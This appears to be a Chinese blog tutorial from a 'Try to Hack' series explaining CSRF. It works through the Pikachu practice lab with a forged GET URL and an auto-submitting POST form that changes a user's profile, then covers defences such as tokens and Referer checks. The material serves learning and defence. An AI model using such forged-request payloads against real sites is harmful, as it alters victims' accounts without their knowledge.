【Try to Hack】CSRF(一)

举报
开心星人 发表于 2022/06/29 17:19:09 2022/06/29
【摘要】 📒博客主页:开心星人的博客主页🔥系列专栏:Try to Hack🎉欢迎关注🔎点赞👍收藏⭐️留言📝📆首发时间:🌴2022年5月20日🌴🍭作者水平很有限,如果发现错误,还望告知,感谢!本文很多内容摘自这篇,仅作为自己学习的记录@toc 🌳1.CSRF概述CSRF(Cross Site Request Forgery,跨站域请求伪造),也被称为 “One Click Atta...

📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年5月20日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

本文很多内容摘自这篇,仅作为自己学习的记录

@toc

🌳1.CSRF概述

CSRF(Cross Site Request Forgery,跨站域请求伪造),也被称为 “One Click Attack” 或者 Session Riding,通常缩写为 CSRF 或者 XSRF 。

🌳2.XSS和CSRF区别

1、XSS 利用用户对站点的信任,盗取 Cookie;
2、CSRF 通过伪装成受信任用户请求,利用站点对己经身份认证的信任,访问网站。

CSRF类似于钓鱼链接,是欺骗用户,借助用户权限攻击,但是没有拿到用户权限
而XSS是直接获取cookie,拿到用户权限

🌳3.CSRF原理

在这里插入图片描述
其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
CSRF攻击攻击原理及过程如下:

  • 1、用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  • 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
    用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  • 3、网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  • 4、浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

两个条件:

  • 1、C 用户访问站点 A 并产生了 cookie
  • 2、C 用户没有退出 A 同时访问了 B

🌳4.CSRF危害

==攻击者盗用了你的身份,以你的名义发送恶意请求==。CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。

🌳5.GET型

题目来自: Pikachu 漏洞练习平台
在这里插入图片描述
登录进入
在这里插入图片描述

看到可以修改个人信息
在这里插入图片描述
点击提交,进行抓包
在这里插入图片描述
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

OK!
我们简单的修改以下信息
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=999999&add=chain&email=vince%40pikachu.com&submit=submit
我更改了电话号码

我用我的浏览器访问以下这个url
在这里插入图片描述

可以看到手机号已经被更改了

所以危害来了:

==攻击者通过各种手段发送给被攻击者(比如可以放到image等资源标签中),诱使被攻击者点击我们的链接,当用户刚好在访问这个网站(准确的说,如果被攻击者此时登录状态或cookie/session没有过期),他同时又点击了这个链接,那么用户的信息就会被修改了==

🌳6.POST型

如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击
在这里插入图片描述
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导被攻击者点击这个链接,当被攻击者点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。

攻击者:192.168.171.129

编写一个post.html页面

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务systemctl start apache2

http://192.168.171.129/pikachu/doge_csrf/post.html
只用用户一访问这个链接(同样也是和GET一样),则用户的个人信息就会被修改了

==攻击者通过各种手段发送给被攻击者(比如可以放到image等资源标签中),诱使被攻击者点击我们的链接,当用户刚好在访问这个网站(准确的说,如果被攻击者此时登录状态或cookie/session没有过期),他同时又点击了这个链接,那么用户的信息就会被修改了==

🌳7.CSRF防御

🌾token

在这里插入图片描述
抓包发现这次多了token

每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证,==而且会替换掉原先session中的token值==

如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。

所以可以有效的防止CSRF攻击

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于 在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中 。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

优点:

  • 这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并 放于 session 之中 ,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。

缺点:

  • 但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
  • 该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

🌾 HTTP Referer

在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址 。
在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。
因此,要防御 CSRF 攻击,网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

优点:

  • 这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。

缺点:

  • 然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以 篡改 Referer 值 。如果网站支持IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。
  • 即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。

🌾 在 HTTP 头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

缺点:

  • 然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。
  • 另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

🌾 WAF防御CSRF

以上防御是技术层面的讨论。实际中进行 CSRF 防护的是使用 WAF(Web应用防火墙,如免费的ShareWAF)。因为 CSRF 只是众多web攻击中的一种,网络攻击还有很多种。WAF可以低于绝大多数的攻击,可极大的提高网站安全性。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。